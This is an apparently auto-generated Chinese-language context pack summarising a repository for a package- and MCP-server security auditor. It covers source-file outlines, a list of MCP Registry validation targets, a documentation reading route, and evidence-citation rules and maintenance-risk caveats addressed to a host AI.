- **Recheck**（source_file）：function verdictRank verdict ⋮---- function worstVerdict verdicts ⋮---- function classifyDrift baseline, fresh ⋮---- function makeDefaultEvaluator options ⋮---- async function versionDriftPass depList, evaluate, options ⋮---- function defaultListVersions options ⋮---- async function recheckLockfile lockfilePath, options = ⋮---- const nowIso = ⋮---- function mergeExit a, b ⋮---- const sev = c ⋮---- function driftArrow d ⋮---- function renderRecheckText result, options = ⋮---- function recheckJson result ⋮---- const slim = d = 证据：`src/recheck.js`
- **Registry**（source_file）：function packumentUrl name, registry ⋮---- // Scoped names @scope/name must have the slash percent-encoded for the // packument endpoint. ⋮---- function fetchJson url ⋮---- async function listNpmVersions name, options = 证据：`src/registry.js`
- **Sandbox**（source_file）：⋮---- function realisticSecret slug ⋮---- const alnum = n ⋮---- function makeRunId ⋮---- async function seedCanaryFilesystem home, runId ⋮---- function tokenVariants token ⋮---- function matchTokens haystack, tokenSet ⋮---- function hostIsCallback host ⋮---- function isRawIpHost host ⋮---- // The capture HTTP/HTTPS server, factored out so the in-process proxy and the // in-netns file-capture proxy below share ONE implementation of request // parsing, token scanning, and CONNECT refusal. Plaintext requests are read in // full URL, headers, body and scanned for canary tokens; HTTPS CONNECTs // record the target host only. NOTHING is forwarded — captured egress never // leaves the machine. onH… 证据：`src/sandbox.js`
- **MCP-cohort validation targets — npm packages published in the official MCP Registry.**（source_file）：MCP-cohort validation targets — npm packages published in the official MCP Registry. Source: https://registry.modelcontextprotocol.io/v0/servers latest versions, active servers · fetched 2026-07-21. 300 npm-packaged servers, collected in registry cursor order until the cap, sorted by identifier. Inputs only — no verdicts. Regenerate: node scripts/build-mcp-target-list.js @636865636b73756d/mcp-v1@1.0.1 @adbutler/mcp-server@2.4.2 @adeu/mcp-server@1.7.1 @aetherwealth/mcp@0.2.0 @agenttrust/mcp-server@1.1.1 @agentutility/mcp-agentops@0.1.1 @agentutility/mcp-bestiary@0.1.3 @agentutility/mcp-browser-workflow@0.1.1 @agentutility/mcp-compose@0.13.0 @agentutility/mcp-edge-finance@0.18.8 @agentutility… 证据：`validation/mcp-registry-targets.txt`
- 其余 20 条证据见 `AI_CONTEXT_PACK.json` 或 `EVIDENCE_INDEX.json`。

## 宿主 AI 必须遵守的规则

- **把本资产当作开工前上下文，而不是运行环境。**：AI Context Pack 只包含证据化项目理解，不包含目标项目的可执行状态。 证据：`docs/README.md`, `docs/demo/README.md`, `docs/design/README.md`
- **回答用户时区分可预览内容与必须安装后才能验证的内容。**：安装前体验的消费者价值来自降低误装和误判，而不是伪装成真实运行。 证据：`docs/README.md`, `docs/demo/README.md`, `docs/design/README.md`

## 用户开工前应该回答的问题

- 你准备在哪个宿主 AI 或本地环境中使用它？
- 你只是想先体验工作流，还是准备真实安装？
- 你最在意的是安装成本、输出质量、还是和现有规则的冲突？

## 验收标准

- 所有能力声明都能回指到 evidence_refs 中的文件路径。
- AI_CONTEXT_PACK.md 没有把预览包装成真实运行。
- 用户能在 3 分钟内看懂适合谁、能做什么、如何开始和风险边界。

---

## Doramagic Context Augmentation

下面内容用于强化 Repomix/AI Context Pack 主体。Human Manual 只提供阅读骨架；踩坑日志会被转成宿主 AI 必须遵守的工作约束。

## Human Manual 骨架

使用规则：这里只是项目阅读路线和显著性信号，不是事实权威。具体事实仍必须回到 repo evidence / Claim Graph。

宿主 AI 硬性规则：
- 不得把页标题、章节顺序、摘要或 importance 当作项目事实证据。
- 解释 Human Manual 骨架时，必须明确说它只是阅读路线/显著性信号。
- 能力、安装、兼容性、运行状态和风险判断必须引用 repo evidence、source path 或 Claim Graph。

- **项目概览与快速上手**：importance `high`
  - source_paths: README.md, CHANGELOG.md, package.json, examples/onboarding-malicious.json
- **系统架构与流水线**：importance `high`
  - source_paths: docs/architecture.md, docs/architecture.svg, docs/design.md, src/auditor.js, src/sandbox.js
- **CLI 命令、审计与监控**：importance `high`
  - source_paths: bin/audit.js, bin/mcp-server.js, bin/pkgxray-cache.js, src/registry.js, src/recheck.js
- **MCP 服务器、运行时代理与 MCP Registry**：importance `high`
  - source_paths: src/mcp-proxy.js, src/mcp-client.js, src/mcp-audit.js, src/mcp-pin.js, bin/mcp-server.js
- **配置、策略与策略引擎**：importance `medium`
  - source_paths: .pkgxray.example.json, src/config.js, docs/configuration.md, docs/json-schema.md
- **安装拦截、Hookshot 与浏览器扩展**：importance `medium`
  - source_paths: examples/hookshot/README.md, examples/hookshot/main.go, examples/hookshot/helpers.go, examples/hookshot/pkgxrayguard/guard.go, examples/hookshot/pkgxrayguard/wrap.go
- **威胁模型、检测能力与已知盲点**：importance `high`
  - source_paths: docs/threat-model.md, docs/canary-threat-model.md, docs/design/evasion-triage.md, docs/design/integration-triage.md, docs/design/mcp-adapter-triage.md
- **校准、基准与持续验证**：importance `medium`
  - source_paths: docs/benchmark.md, validation/README.md, validation/top1000.txt, validation/defensible-blocks.json, validation/mcp-registry-targets.txt

## Repo Inspection Evidence / 源码检查证据

- repo_clone_verified: true
- repo_inspection_verified: true
- repo_commit: `6b39b2c6f27c067aeff2d8c6481ace67931cc06a`
- inspected_files: `README.md`, `package.json`, `docs/README.md`, `docs/adoption.md`, `docs/architecture.md`, `docs/benchmark.md`, `docs/canary-threat-model.md`, `docs/compatibility.md`, `docs/configuration.md`, `docs/demo/README.md`, `docs/design/README.md`, `docs/design/evasion-triage.md`, `docs/design/integration-triage.md`, `docs/design/mcp-adapter-prompt.md`, `docs/design/mcp-adapter-triage.md`, `docs/design/recheck-triage.md`, `docs/design.md`, `docs/integrations/coding-agents.md`, `docs/integrations/github-actions.md`, `docs/json-schema.md`

宿主 AI 硬性规则：
- 没有 repo_clone_verified=true 时，不得声称已经读过源码。
- 没有 repo_inspection_verified=true 时，不得把 README/docs/package 文件判断写成事实。
- 没有 quick_start_verified=true 时，不得声称 Quick Start 已跑通。

## Doramagic Pitfall Constraints / 踩坑约束

这些规则来自 Doramagic 发现、验证或编译过程中的项目专属坑点。宿主 AI 必须把它们当作工作约束，而不是普通说明文字。

### Constraint 1: 能力判断依赖假设

- Trigger: README/documentation is current enough for a first validation pass.
- Host AI rule: 将假设转成下游验证清单。
- Why it matters: 假设不成立时，用户拿不到承诺的能力。
- Evidence: capability.assumptions | https://news.ycombinator.com/item?id=49005722 | README/documentation is current enough for a first validation pass.
- Hard boundary: 不要把这个坑点包装成已解决、已验证或可忽略，除非后续验证证据明确证明它已经关闭。

### Constraint 2: 维护活跃度未知

- Trigger: 未记录 last_activity_observed。
- Host AI rule: 补 GitHub 最近 commit、release、issue/PR 响应信号。
- Why it matters: 新项目、停更项目和活跃项目会被混在一起，推荐信任度下降。
- Evidence: evidence.maintainer_signals | https://news.ycombinator.com/item?id=49005722 | last_activity_observed missing
- Hard boundary: 不要把这个坑点包装成已解决、已验证或可忽略，除非后续验证证据明确证明它已经关闭。

- Trigger: no_demo
- Evidence: downstream_validation.risk_items | https://news.ycombinator.com/item?id=49005722 | no_demo; severity=medium
- Hard boundary: 不要把这个坑点包装成已解决、已验证或可忽略，除非后续验证证据明确证明它已经关闭。

### Constraint 4: 存在评分风险

- Trigger: no_demo
- Why it matters: 风险会影响是否适合普通用户安装。
- Evidence: risks.scoring_risks | https://news.ycombinator.com/item?id=49005722 | no_demo; severity=medium
- Hard boundary: 不要把这个坑点包装成已解决、已验证或可忽略，除非后续验证证据明确证明它已经关闭。

### Constraint 5: issue/PR 响应质量未知

- Trigger: issue_or_pr_quality=unknown。
- Host AI rule: 抽样最近 issue/PR，判断是否长期无人处理。
- Why it matters: 用户无法判断遇到问题后是否有人维护。
- Evidence: evidence.maintainer_signals | https://news.ycombinator.com/item?id=49005722 | issue_or_pr_quality=unknown
- Hard boundary: 不要把这个坑点包装成已解决、已验证或可忽略，除非后续验证证据明确证明它已经关闭。

### Constraint 6: 发布节奏不明确

- Trigger: release_recency=unknown。
- Host AI rule: 确认最近 release/tag 和 README 安装命令是否一致。
- Why it matters: 安装命令和文档可能落后于代码，用户踩坑概率升高。
- Evidence: evidence.maintainer_signals | https://news.ycombinator.com/item?id=49005722 | release_recency=unknown
- Hard boundary: 不要把这个坑点包装成已解决、已验证或可忽略，除非后续验证证据明确证明它已经关闭。